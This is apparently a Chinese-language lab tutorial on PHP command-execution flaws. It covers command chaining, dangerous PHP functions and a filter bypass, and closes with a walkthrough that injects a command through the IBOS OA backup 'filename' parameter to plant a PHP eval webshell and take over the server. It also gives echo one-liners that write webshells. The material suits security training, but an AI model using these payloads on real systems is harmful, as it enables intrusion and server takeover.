什么是命令执行
用户输入的数据被当做系统命令进行执行
命令执行的一句话木马
<?php system('whoami')?>
RCE代码执行讲过代码执行和命令执行的区别,本次着重阐述命令执行的细节。而且代码执行的情况下,可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令。
linux命令:Bash
windows命令:cmd
单行执行多条命令
命令执行的小知识
1.通过命令来写文件的操作,将一句话木马写到文件1.php中去。
echo “<?php @eval($_REQUEST[8])?>” >1.php
2.单行执行多条命令用&或者&&
eg:whoami&ipconfig
要实现在一行执行多条Linux命令,分三种情况:
1、&&
举例:
lpr /tmp/t2 && rm /tmp/t2
第2条命令只有在第1条命令成功执行之后才执行。当&&前的命令“lpr /tmp/t2”成功执行后"rm /tmp/t2"才执行,根据命令产生的退出码判断是否执行成功(0成功,非0失败)。
2、||
举例:
cp /tmp/t2 /tmp/t2.bak || rm /tmp/t2
只有||前的命令“cp /tmp/t2 /tmp/t2.bak”执行不成功(产生了一个非0的退出码)时,才执行后面的命令。
3、;
举例:
cp /tmp/t2 /tmp/t2.bak; echo "hello world"
顺序执行多条命令,当;号前的命令执行完(不管是否执行成功),才执行;后的命令。
常见造成命令执行的PHP函数
system()
- PHP会操纵计算机执行命令,且输出并返回结果。
- 无需输出,自动返回结果。
- 允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。
exec()
- PHP会去操纵计算机执行系统命令,获取最后一行。
- 无回显,需要输出(echo)。
- 允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。
shell_exec()
-
PHP会去操纵计算机执行系统命令,且获取所有数据。(exec升级版)
-
无回显,需要输出(echo)。
-
允许单行执行多条命令。当单行执行多条命令时,前面的命令出错,后面则不会执行。
-
可以简写为两个反引号
eg:
whoami
等价于 shell_exec('whoami')
passthru()
- 在渗透测试中,几乎与system特点一样
popen(命令,参数)
-
参数 r:只读。w:写入。
-
eg:
$a = popen('whoami','r'); echo foread($a,1024) //返回一个文件指针,需要用fread去读取返回值。
靶场实战
靶场所需小知识:
①windows下环境下点(.)被过滤,可以用%pathext:~0,1%代替。
这是因为windows默认环境变量中自带点,通过特殊方法将其切割出来,并利用。
参考:命令执行绕过https://bbs.zkaq.cn/t/4557.html
②mysqldump 是 MySQL 自带的逻辑备份工具
mysqldump [选项] 数据库名 [表名] > 备份脚本名
eg:mysqldump -uroot -proot --all-databases > all.sql
靶场是IBOS OA系统,下面直接进行代码审计
1.在全局搜索中找到两处使用shell_exec()函数的地方
2.第一处的可控参数貌似利用不了
3.第二个的dumpFile是由backupFileName决定
4.backupFileName由filename决定,并且过滤了/,\\,.,'
。filename由REQUEST传参所决定
5.进入靶场找到备份数据库的功能模块。
6.抓包看下具体传参,通过构造命令拼接,生成文件的同时写入木马,从而控制服务器。
7.由于过滤点(.),这时候小知识就派上用场了,将其替换为%PATHEXT:~0,1%
&符号在数据包会被认为是参数分隔符,所以需要url编码,构造exp如下:
filename=219911%26echo+"<?php eval($_REQUEST[8])?>">langsa%PATHEXT:~0,1%php%26langsa
8.抓包,改包,执行。
9.木马写入成功,服务器到手。